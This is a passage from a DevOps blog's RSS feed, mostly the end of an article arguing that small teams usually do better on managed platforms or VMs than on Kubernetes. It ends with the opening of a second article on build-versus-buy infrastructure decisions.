<li><strong>Managed platform</strong>: Push code → production in 5-10 minutes. First deployment Day 1.</li>
<li><strong>VMs with configuration management</strong>: Deploy with Ansible/Terraform. First deployment Week 1-2.</li>
<li><strong>Kubernetes</strong>: Cluster setup, ingress config, cert-manager, secrets management, CI/CD integration, monitoring. First deployment Month 1-3.</li>
</ul>
<p>That 3-month difference is <strong>25% of a year</strong>. For early-stage companies, that&#39;s the difference between validating product-market fit and running out of runway.</p>
<h3 id="h3-4-whats-your-operational-maturity" class="group relative scroll-mt-24">
        <a href="#h3-4-whats-your-operational-maturity" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. What's Your Operational Maturity?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-whats-your-operational-maturity"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Be honest about where your team is:</p>
<p><strong>Signals you&#39;re NOT ready for Kubernetes:</strong></p>
<ul>
<li>No one on the team has operated Kubernetes in production</li>
<li>You don&#39;t have CI/CD pipelines for current infrastructure</li>
<li>Deployments require manual steps</li>
<li>You&#39;ve never handled a production incident requiring deep debugging</li>
<li>Your monitoring consists of &quot;check if the website is up&quot;</li>
</ul>
<p><strong>Signals you MIGHT be ready:</strong></p>
<ul>
<li>Someone has battle-tested Kubernetes experience (&gt;1 year production operations)</li>
<li>You have observability stacks deployed (metrics, logs, traces)</li>
<li>Deployments are automated and reproducible</li>
<li>You practice incident response and have runbooks</li>
<li>You&#39;ve outgrown simpler infrastructure and hit real limitations</li>
</ul>
<p>Kubernetes won&#39;t teach you operational maturity. It will <strong>expose</strong> every gap in your practices at 3x speed.</p>
<h2 id="h2-real-world-scenarios-what-you-should-actually-choose" class="group relative scroll-mt-24">
        <a href="#h2-real-world-scenarios-what-you-should-actually-choose" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Real-World Scenarios: What You Should Actually Choose
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-real-world-scenarios-what-you-should-actually-choose"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-scenario-a-8-person-startup-series-a-building-saas-product" class="group relative scroll-mt-24">
        <a href="#h3-scenario-a-8-person-startup-series-a-building-saas-product" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario A: 8-Person Startup, Series A, Building SaaS Product
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-a-8-person-startup-series-a-building-saas-product"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Workload:</strong></p>
<ul>
<li>Next.js frontend</li>
<li>Node.js API backend</li>
<li>PostgreSQL database</li>
<li>Redis for caching/sessions</li>
<li>Background job processing</li>
</ul>
<p><strong>Wrong choice:</strong> Set up EKS with Helm charts, Ingress NGINX, cert-manager, and external-secrets. <strong>Cost:</strong> 2 engineers, 6 weeks, ongoing 40% time maintenance.</p>
<p><strong>Right choice:</strong> Render, Railway, or DigitalOcean App Platform. Deploy frontend + backend + managed Postgres + managed Redis. <strong>Cost:</strong> 1 engineer, 2 days, &lt;5% ongoing maintenance.</p>
<p><strong>Why:</strong> The team needs to validate product-market fit, not build infrastructure. Every week spent on Kubernetes is a week not iterating on the product. The monthly cost difference ($200-500 platform premium vs $150-300 raw compute) is negligible compared to engineer time.</p>
<p><strong>When to switch:</strong> At 25-30 engineers, when platform costs reach $3-5K/month and you have someone who can dedicate full-time to infrastructure.</p>
<hr>
<h3 id="h3-scenario-b-15-person-team-high-traffic-api-predictable-load" class="group relative scroll-mt-24">
        <a href="#h3-scenario-b-15-person-team-high-traffic-api-predictable-load" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario B: 15-Person Team, High-Traffic API, Predictable Load
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-b-15-person-team-high-traffic-api-predictable-load"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Workload:</strong></p>
<ul>
<li>Python FastAPI serving 50K requests/minute</li>
<li>Heavy CPU/memory usage (data processing)</li>
<li>PostgreSQL with read replicas</li>
<li>Scheduled batch jobs</li>
</ul>
<p><strong>Wrong choice:</strong> Kubernetes because &quot;we need to scale.&quot; The orchestration overhead doesn&#39;t match the scaling pattern (predictable, steady traffic).</p>
<p><strong>Right choice:</strong> VMs behind a load balancer. Use Terraform to provision 6-8 compute instances, Ansible for configuration, systemd for process management. HAProxy or cloud load balancer in front.</p>
<p><strong>Cost comparison:</strong></p>
<ul>
<li>Kubernetes path: $800/month compute + $150 EKS control plane + 60 engineer-hours/month = <strong>~$8,000/month total cost</strong></li>
<li>VM path: $800/month compute + 8 engineer-hours/month = <strong>~$1,600/month total cost</strong></li>
</ul>
<p><strong>Why:</strong> VMs provide the control and predictability needed. The workload doesn&#39;t benefit from Kubernetes features (no complex routing, no need for rapid container churn, no multi-region). Operational simplicity wins.</p>
<p><strong>When to switch:</strong> When traffic becomes unpredictable and autoscaling becomes a major operational burden. Or when you expand to multi-region and need orchestration.</p>
<hr>
<h3 id="h3-scenario-c-40-person-team-microservices-multi-region" class="group relative scroll-mt-24">
        <a href="#h3-scenario-c-40-person-team-microservices-multi-region" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario C: 40-Person Team, Microservices, Multi-Region
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-c-40-person-team-microservices-multi-region"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Workload:</strong></p>
<ul>
<li>15 microservices with independent release cycles</li>
<li>Multi-region deployment (US, EU, APAC)</li>
<li>Complex routing requirements (canary deployments, A/B tests)</li>
<li>Service-to-service authentication requirements</li>
<li>2 dedicated platform engineers</li>
</ul>
<p><strong>Wrong choice:</strong> Try to manage this with VMs and shell scripts. The complexity outgrows the tooling.</p>
<p><strong>Right choice:</strong> Kubernetes (GKE/EKS) with service mesh (Istio or Linkerd), GitOps (ArgoCD or Flux), centralized observability (Datadog or Grafana stack).</p>
<p><strong>Why:</strong> The workload characteristics justify orchestration complexity:</p>
<ul>
<li>Multi-region needs sophisticated traffic management</li>
<li>Independent release cycles benefit from container isolation</li>
<li>Service mesh solves authentication and observability at scale</li>
<li>Team size supports dedicated platform investment</li>
</ul>
<p><strong>Cost:</strong> 2 full-time platform engineers + $3-5K/month cloud costs. This is <strong>justified</strong> because:</p>
<ul>
<li>15 microservices × 3 regions = 45 deployment targets would be unmaintainable with VMs</li>
<li>Platform team enables 38 product engineers to ship independently</li>
<li>ROI is clear: platform unlocks velocity, not just &quot;best practices&quot;</li>
</ul>
<hr>
<h3 id="h3-scenario-d-20-person-team-mlgpu-workloads-batch-processing" class="group relative scroll-mt-24">
        <a href="#h3-scenario-d-20-person-team-mlgpu-workloads-batch-processing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario D: 20-Person Team, ML/GPU Workloads, Batch Processing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-d-20-person-team-mlgpu-workloads-batch-processing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Workload:</strong></p>
<ul>
<li>Training jobs requiring GPU instances</li>
<li>Inference API with variable traffic</li>
<li>Data processing pipelines (Spark, Airflow)</li>
<li>Model registry and versioning</li>
</ul>
<p><strong>Wrong choice:</strong> Force everything into Kubernetes because &quot;that&#39;s what the industry uses for ML.&quot;</p>
<p><strong>Better choice:</strong> Hybrid approach:</p>
<ul>
<li><strong>Inference API:</strong> Managed platform (Render, Modal, or Replicate) handles scaling and serving</li>
<li><strong>Training jobs:</strong> Orchestrate with Airflow on VMs or use managed ML platforms (SageMaker, Vertex AI)</li>
<li><strong>Data pipelines:</strong> Dedicated compute instances or serverless (Lambda, Cloud Functions)</li>
</ul>
<p><strong>Why:</strong> Kubernetes GPU support is notoriously finicky. Node autoscaling with GPUs takes 5-10 minutes. Managed ML platforms handle this complexity.</p>
<p><strong>When Kubernetes helps:</strong> When you have 3+ ML engineers who specifically need Kubernetes features (custom schedulers, Ray clusters, multi-tenancy for different teams).</p>
<hr>
<h2 id="h2-the-hidden-costs-of-kubernetes-nobody-talks-about" class="group relative scroll-mt-24">
        <a href="#h2-the-hidden-costs-of-kubernetes-nobody-talks-about" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Hidden Costs of Kubernetes Nobody Talks About
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-hidden-costs-of-kubernetes-nobody-talks-about"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Beyond the obvious learning curve, Kubernetes imposes ongoing costs:</p>
<h3 id="h3-1-cognitive-load-on-every-engineer" class="group relative scroll-mt-24">
        <a href="#h3-1-cognitive-load-on-every-engineer" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Cognitive Load on Every Engineer
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-cognitive-load-on-every-engineer"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Kubernetes creates a second API layer every engineer must understand:</p>
<ul>
<li>Deployments vs StatefulSets vs DaemonSets</li>
<li>Services vs Ingress vs Gateway API</li>
<li>ConfigMaps vs Secrets vs External Secrets Operator</li>
<li>Resource requests vs limits vs QoS classes</li>
<li>Network policies, pod security policies, admission controllers</li>
</ul>
<p>Each of these concepts requires training, documentation, and ongoing support. At a 15-person team, that&#39;s <strong>1-2 hours per engineer per week</strong> = 15-30 hours/week = <strong>nearly 1 full-time engineer just answering questions</strong>.</p>
<h3 id="h3-2-increased-deployment-complexity" class="group relative scroll-mt-24">
        <a href="#h3-2-increased-deployment-complexity" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Increased Deployment Complexity
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-increased-deployment-complexity"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Simple changes get complicated:</p>
<p><strong>Managed platform:</strong></p>
<pre><code class="hljs language-bash">git push origin main
<span class="hljs-comment"># Done. Deployed in 3 minutes.</span>
</code></pre><p><strong>Kubernetes:</strong></p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Update Dockerfile</span>
<span class="hljs-comment"># Update Kubernetes manifests or Helm values</span>
<span class="hljs-comment"># Update CI/CD pipeline configuration</span>
git push origin main
<span class="hljs-comment"># Wait for image build (5-10 min)</span>
<span class="hljs-comment"># Wait for Kubernetes rollout (5-10 min)</span>
<span class="hljs-comment"># Check pod status, logs, events</span>
<span class="hljs-comment"># Debug if something goes wrong</span>
<span class="hljs-comment"># 20-30 minutes minimum, 2 hours if issues</span>
</code></pre><p>That friction compounds. If deployments take 10x longer, teams deploy less frequently, batching changes, increasing risk.</p>
<h3 id="h3-3-incident-response-complexity" class="group relative scroll-mt-24">
        <a href="#h3-3-incident-response-complexity" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Incident Response Complexity
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-incident-response-complexity"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When things break:</p>
<p><strong>Managed platform:</strong> Check application logs, check platform status page. Clear ownership (platform handles infrastructure, you handle app code).</p>
<p><strong>Kubernetes:</strong> Is it the application? The pod? The node? The ingress? The network policy? The service mesh sidecar? The CNI plugin? The cloud provider&#39;s networking layer?</p>
<p>Incidents that take 15 minutes with simpler infrastructure take <strong>2-4 hours in Kubernetes</strong> until your team builds institutional knowledge.</p>
<h3 id="h3-4-maintenance-burden" class="group relative scroll-mt-24">
        <a href="#h3-4-maintenance-burden" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Maintenance Burden
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-maintenance-burden"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Kubernetes clusters require ongoing maintenance:</p>
<ul>
<li>Control plane upgrades (quarterly)</li>
<li>Node OS patching (monthly)</li>
<li>Add-on updates (cert-manager, ingress controllers, monitoring agents)</li>
<li>Certificate rotation</li>
<li>RBAC management</li>
<li>Security policy updates</li>
</ul>
<p>Estimate <strong>40-60 engineer-hours/month</strong> for a production cluster. That&#39;s <strong>30% of one engineer</strong>.</p>
<h2 id="h2-progressive-adoption-how-to-grow-into-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-progressive-adoption-how-to-grow-into-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Progressive Adoption: How to Grow Into Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-progressive-adoption-how-to-grow-into-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you decide Kubernetes is in your future, don&#39;t jump straight there:</p>
<p><strong>Phase 1: Managed Platform (0-15 engineers)</strong></p>
<ul>
<li>Ship product</li>
<li>Learn operational basics (monitoring, logging, deployments)</li>
<li>Validate product-market fit</li>
</ul>
<p><strong>Phase 2: VMs with Automation (15-30 engineers)</strong></p>
<ul>
<li>Terraform for infrastructure</li>
<li>Ansible or similar for configuration</li>
<li>Containerize applications (Docker Compose or similar)</li>
<li>Build observability muscle (metrics, logs, traces)</li>
<li>Practice incident response</li>
</ul>
<p><strong>Phase 3: Hybrid Approach (30-50 engineers)</strong></p>
<ul>
<li>Move stateless workloads to managed Kubernetes (GKE Autopilot, EKS Fargate)</li>
<li>Keep databases and stateful apps on VMs or managed services</li>
<li>Hire someone with production Kubernetes experience</li>
<li>Invest in platform tooling slowly</li>
</ul>
<p><strong>Phase 4: Full Kubernetes (50+ engineers)</strong></p>
<ul>
<li>Dedicated platform team</li>
<li>GitOps workflows (ArgoCD/Flux)</li>
<li>Service mesh if workload justifies it</li>
<li>Multi-cluster/multi-region setup</li>
</ul>
<p>Skipping phases doesn&#39;t save time. It compounds technical debt and slows velocity.</p>
<h2 id="h2-when-kubernetes-actually-makes-sense" class="group relative scroll-mt-24">
        <a href="#h2-when-kubernetes-actually-makes-sense" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          When Kubernetes Actually Makes Sense
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-when-kubernetes-actually-makes-sense"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Kubernetes is the right choice when you need features that simpler infrastructure can&#39;t provide:</p>
<p><strong>1. Multi-region active-active deployment</strong></p>
<p>Running identical infrastructure in 3+ regions with traffic management, failover, and data synchronization requires orchestration that Kubernetes provides.</p>
<p><strong>2. Complex microservices topologies</strong></p>
<p>When you have 20+ services with independent release cycles, service mesh integration, and sophisticated routing (canary, blue/green, traffic splitting), Kubernetes shines.</p>
<p><strong>3. Multi-tenancy isolation</strong></p>
<p>If you&#39;re building a platform where customers deploy their own code (PaaS, CI/CD runners, notebook servers), Kubernetes namespaces and network policies provide isolation.</p>
<p><strong>4. Advanced autoscaling requirements</strong></p>
<p>When you need combined horizontal + vertical + cluster autoscaling based on custom metrics (queue depth, request latency, business metrics), Kubernetes HPA/VPA/Karpenter deliver.</p>
<p><strong>5. Dedicated platform engineering capacity</strong></p>
<p>If you have 2+ full-time engineers whose job is to build internal platforms, Kubernetes becomes a reasonable foundation to build on.</p>
<p>If you don&#39;t have 3+ of these signals, <strong>simpler infrastructure will ship product faster</strong>.</p>
<h2 id="h2-key-takeaways" class="group relative scroll-mt-24">
        <a href="#h2-key-takeaways" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Key Takeaways
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-key-takeaways"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ol>
<li><p><strong>Team size predicts infrastructure capacity</strong>: Below 30 engineers, Kubernetes diverts too much capacity from product work.</p>
</li>
<li><p><strong>Match infrastructure to workload shape</strong>: Most SaaS products are web apps + APIs + background jobs. These don&#39;t need orchestration.</p>
</li>
<li><p><strong>Time-to-production matters</strong>: Kubernetes adds 1-3 months to first production deployment vs managed platforms.</p>
</li>
<li><p><strong>Operational complexity is ongoing cost</strong>: Kubernetes requires 30-50% of one engineer ongoing, plus training overhead for the whole team.</p>
</li>
<li><p><strong>Progressive adoption reduces risk</strong>: Grow from managed platforms → VMs → Kubernetes as team size and workload complexity justify it.</p>
</li>
<li><p><strong>Kubernetes should solve real problems</strong>: Multi-region, complex microservices, or advanced autoscaling justify complexity. Resume-driven development doesn&#39;t.</p>
</li>
</ol>
<p>The goal isn&#39;t to avoid Kubernetes forever. It&#39;s to <strong>adopt complexity when it solves real problems</strong>, not when it&#39;s fashionable.</p>
<p>Most teams ship faster, learn more, and build better products by starting simple. You can always add complexity later. You can&#39;t easily remove it once you&#39;re locked in.</p>
<h2 id="h2-related-resources" class="group relative scroll-mt-24">
        <a href="#h2-related-resources" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Related Resources
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-related-resources"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><a href="/posts/right-sizing-kubernetes-resources-vpa-karpenter">Right-Sizing Kubernetes Resources</a></li>
<li><a href="/posts/kubernetes-deployments-vs-statefulsets">Kubernetes Deployments vs StatefulSets</a></li>
<li><a href="/guides/introduction-to-kubernetes">Introduction to Kubernetes: Best Practices</a></li>
<li><a href="/books/devops-survival-guide">DevOps Survival Guide</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Build vs Buy in 2026: What Still Makes Sense to Build In-House?]]></title>
      <link>https://devops-daily.com/posts/build-vs-buy-2026</link>
      <description><![CDATA[A practical guide to infrastructure decisions: When building in-house makes sense, when it wastes resources, and how to calculate the true cost of engineering time.]]></description>
      <pubDate>Wed, 04 Mar 2026 10:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/build-vs-buy-2026</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[Engineering Leadership]]></category><category><![CDATA[Infrastructure]]></category><category><![CDATA[Cost Analysis]]></category><category><![CDATA[Platform Engineering]]></category><category><![CDATA[Build vs Buy]]></category>
      <content:encoded><![CDATA[<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li><strong>Default to buy</strong> unless you have a specific, compelling reason to build</li>
<li><strong>Never build</strong>: Identity management, secrets management, payment processing</li>
<li><strong>Almost always buy</strong>: CI/CD, observability, feature flags, load balancing, message queues</li>
<li><strong>Consider building only when</strong>: You&#39;re 50+ engineers, have 2+ FTEs to dedicate, and the platform is critical to your competitive advantage</li>
<li><strong>True cost formula</strong>: Initial build (3-6 engineer-months) + ongoing maintenance (20-40% of original team capacity) + opportunity cost</li>
<li><strong>Break-even timeline</strong>: Most custom infrastructure takes 18-36 months to break even, if it ever does</li>
</ul>
<hr>
<h2 id="h2-the-problem-with-well-just-build-it" class="group relative scroll-mt-24">
        <a href="#h2-the-problem-with-well-just-build-it" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Problem with "We'll Just Build It"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
